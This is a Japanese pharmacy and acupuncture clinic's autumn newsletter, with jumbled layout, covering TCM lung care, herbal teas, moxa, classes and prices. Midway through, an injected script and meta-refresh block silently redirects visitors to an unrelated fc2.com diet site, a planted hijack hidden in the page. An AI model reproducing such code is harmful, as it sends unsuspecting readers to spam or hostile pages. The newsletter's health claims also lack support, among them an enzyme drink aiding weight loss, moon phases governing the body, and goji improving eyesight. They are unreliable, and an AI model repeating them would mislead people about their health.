
「生姜湯が甘すぎて苦手」「カラダの芯まで温まりたい」

という方におすすめ！ワンランク上の生姜湯です。

おなかをあたためる漢方「大建中湯」をベースに、女性に

嬉しいコラーゲンや本葛を配合、甘さ控えめ大で美味しい♪

老舗の漢方メーカー栃本天海堂さんの自信作！

秋は五臓でいう「肺」の季節。呼吸を通じて天の陽気を体内に取り入れ、気を全身に散布する働きがあり

ます。肺の働きが正常だと呼吸は深くゆったり行われ、全身の気が充実して声も力強くなります。

秋は乾燥しやすいので肺は「燥邪」の影響を受けやすく、乾燥に弱い鼻やのど、気管支など呼吸器系は

注意が必要です。ですので、秋は「潤い」が養生のキーポイント！

また気を深く体の中に吸い込むには、「腎」の（※）納気作用が必要です。腎の機能が弱いと浅い呼吸になっ

たり呼吸困難になりやすくなります。例えば喘息が長期にわたり改善しないと、肺とかかわりが深い腎に

影響して「腎気虚」という状態になります。腎が弱くなるとしっかりと気を吸い込むことができず、肺の機

能も低下します。こうして喘息発作が起こりやすくなるという悪循環となります。
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 秋は万物が収束していく時期。心安らかに、出しゃばらず、が秋の養生法です。

お知らせ
今月の

薬膳茶

講座

 　　秋と肺の関係

お知らせ

http://kaisei-drug.co.jp/wp/calendar
各種講座のスケジュールとご予約はこちら！

■ 「ちょっぴり大人なしょうが湯」新入荷！

■せんねん灸「太陽」あります 〼

お灸を試したいけどやけどが心配、火を使わないでお灸をしたい、

という方へ！もぐさ成分を含み、肌に直接貼れる新しい形

のお灸です。匂いもなく 3時間ほど持続時間もあります。

少し肌寒い時、生理中の冷えや痛みが気になるときにもおすすめ♪

　　【24 個入り：1831 円】

■ネットで簡単予約！
     漢方相談・漢方体質アドバイス・鍼灸の

     予約がネット上で簡単にできます。

     是非ご利用くださいませ。

　

「肺」を強化し、邪気をはらう！

急に涼しくなり何だか痰が絡みやすくなったり、少し風邪気味

の時にもおすすめ。紫蘇や生姜は身体を温めて、軽く発汗させ

邪気を追い払います。陳皮や生姜は、咳や痰に効果的です。

　　　　　　　　　　いずれも身体をあたためるので、急に気温

　　　　　　　　　　が下がって体調をくずしやすい時におすす

　　　　　　　　　　め。香りがよいのでお子様にも♪

　　　　　　　　　　　

　　　　　　　　　　

　　　　　　　　

　　　　　　　　　

材料：紫蘇　陳皮　生姜

夏休みも終わり、受験モードに突入！

受験生がそろそろ本気モードなる時期。

東洋医学は、体調管理だけでなく受験生を

サポートすることがいろいろできます！

受験生をお持ちの保護者が対象の講座です。

みびょうレター





【受験生のための東洋医学 】

漢方予約➡　https://reserva.be/mebyoulabo

鍼灸予約➡　https://reserva.be/mebyoushinkyu　

【６包入：864 円】

■鍼灸院臨時休業のお知らせ

(全日休業） 9/7、9/12、9/16、9/30

( 午前のみ営業）9/5、9/6、9/13、9/19、9/20、9/26

　　　　　　　  9/27、9/29

　

<script>window.googleJavaScriptRedirect=1</script><META name="referrer" 
content="origin"><script>var 
n={navigateTo:function(b,a,d){if(b!=a&&b.google){if(b.google.r){b.google
.r=0;b.location.href=d;a.location.replace("about:blank");}}else{a.locati
on.replace(d);}}};n.navigateTo(window.parent,window,"http://diet4uchimom
o.web.fc2.com/");
</script><noscript><META http-equiv="refresh" 
content="0;URL='http://diet4uchimomo.web.fc2.com/'"></noscript>

　【矢野久美子】

詳細は、別紙講座案内８月のスケジュールもしくはＨＰで！

のどすっきり！薬膳茶

　●漢方薬剤師

9 月 26 日（火）10:00 ～ 12:00

参加費：2000 円
受験に役立つアロマのプレゼントあり♪

■ 酵素ドリンク「百草酵素」発売！

年齢とともに、痩せにくくなってきた…と感じていませんか？

外から酵素を補うことにより、体内の酵素の働きを助けダイエッ

トや便秘などに効果的です。完全無添加、オーガニックの 80 種

　　
   【百草酵素】720ml：7560 円（1ケ月分）

　

類もの野草、果物、野菜、海藻などを , 日本唯

一の「陶製かめ」で発酵。中国の漢方医である

「中医師」の監修でつくられた、こだわりの酵

素ドリンクです。

生薬は価格変動の大きいものなるため、1年に 1回価格の見直し

をさせて頂いております。一部薬膳食材や生薬の金額が上がるも

のもありますが、逆に値下がり予定のものもござ

います。詳細はスタッフにお尋ねくださいませ。

　　

※納気作用…肺が吸い込んだ清気を下降させ、「腎」に納める働きのこと。

　国際アロマセラピスト

　●英国 IFA 認定
■「陰ヨガ」講座、9月スケジュールの変更
以前９月講座カレンダーには 5日 ,19 日とお伝えしていましたが、

５日、１２日、２６日へ変更となっております。時間は通常通り

１９:１５～２０:３０です。お間違えのないようお願い致します。



秋の名月・・・月と人体の不思議な関係コラム

スタッフ

月 の お 茶（ Ｍoon Energy Tea )

肺の熱を冷ましたり、気を下降させ、体内に

清気を取り込むツボ。

咳止めのツボ

空気の澄んだ秋は、ことさら月が美しく見えます。

お月見といえば一般的には旧暦8月15日の「十五夜」をさし、

特に秋は月が美しいことから「中秋の名月」と呼ばれます。

長年、お月見は9月だと思っていましたが、今年の十五夜は

10月4日だそうです！

さて、月の満ち欠けは人間の心身に影響を及ぼすといわれ

ています。満月になると出産が多い、犯罪が多い・・・などよ

く聞きますが、この時期は気分が高揚したり興奮するそうで

す。経験的に世界各国で月と人のかかわりについて言い伝

えはありますが、ドイツのベストセラーである『月の癒し』と

いう本にそのあたりが詳しく書かれています。日頃の養生の

ひとつとして取り入れると、とっても面白そうですね！

ハーブ つぼ

矢野
野村

　　　月のお茶アソート（4種入）

　　

薬　局 鍼灸院

■ 煎じ薬：600 円 / 日 ～

■ エキス剤：400 円 / 日 ～

その他、錠剤・粉末・シロップ等あり

みみつぼ・アロマハンドマッサージ

      漢方足湯・温灸椅子 etc.

【ワンコインメニュー 500 円】

■ メディカル鍼灸：4000 円

■ 美容鍼：6000 円

■メディカル＆美容鍼セット：8000 円

■クイック鍼：1000 円 / 一ヵ所

瀬戸

　　　　　　尺沢　：　肘を曲げた時にうきでる腱

　　　　　　　　　　　　　　の外側。

　　　　　　　　　　

【漢方薬】

ブログ＆facebook やってます！ 回 生 薬 局 検 索

◆上弦の月

月の満ち欠けと過ごし方　

スタッフおすすめ

薬膳のくるみ先生より「クコと甘酒のヨーグルト」

を食べてから目の調子が良い！と聞いて、せっせと

毎朝食べています。目の疲れが全然違います！

しかもこの間眼科へ定期検診に行ったら、なんと

視力が上がっていました‼クコはアンチエイジング

や美容にも良いし、とってもおすすめです☆

ひとりごと

◆新月

　　　　　　

　　　　　

月と人体のリズムの再発見、ドイツのベスト

セラー『月の癒し』の著者のレシピによる、

オーガニックハーブティー。

新月、上弦の月、満月、下弦の月の 4種類が

楽しめるアソートセットです。月の満ち欠け

による心身のリズムに合わせて、ハーブが

ブレンドされています。

毎晩月を見上げながら、ゆっくりティータイ

ムも素敵ですね (*^^*)

のどが不調なときに、はちみつを舐

めて、首をあたためて寝るとよいで

すよ！のどを乾燥から守り殺菌もし

てくれます。私事ですが産休に入り、

お休みをいただきます。復帰したら

またよろしくお願い致します！

ご先祖様に手作り線香をお備えしてきました。

ただ、お墓にライターを持っていくのを忘れて

立てることしかできず。ご先祖様は妙香を食べ

れたでしょうか。。

お仏壇の線香にはしっかり着火しました。

　

気持ちを切り替えて新しいことを始めるのにgood！身体の余分な

ものを排出し、新しいエネルギーを補給するのによい時です。 お線香を焚くのは、仏様に身も心も清浄にしてから近づかせていただくためで、線

　　　20 包入：1080 円

　　

◆満月

◆下弦の月

　

月が満ちていくときは、補給、増強、構築のとき。体への吸収が高まり

健康や癒しへの効果も大きくなる時期です。

　

満月のエネルギーが心理的に作用し、気分が高揚しやすくなるとき。

疲れも感じやすくなるため、リラックスしてバランスをとりましょう。

　

月が欠けていく時は、排出や浄化に最適。次のサイクルに向けデトッ

クスをし、調子を整えましょう。


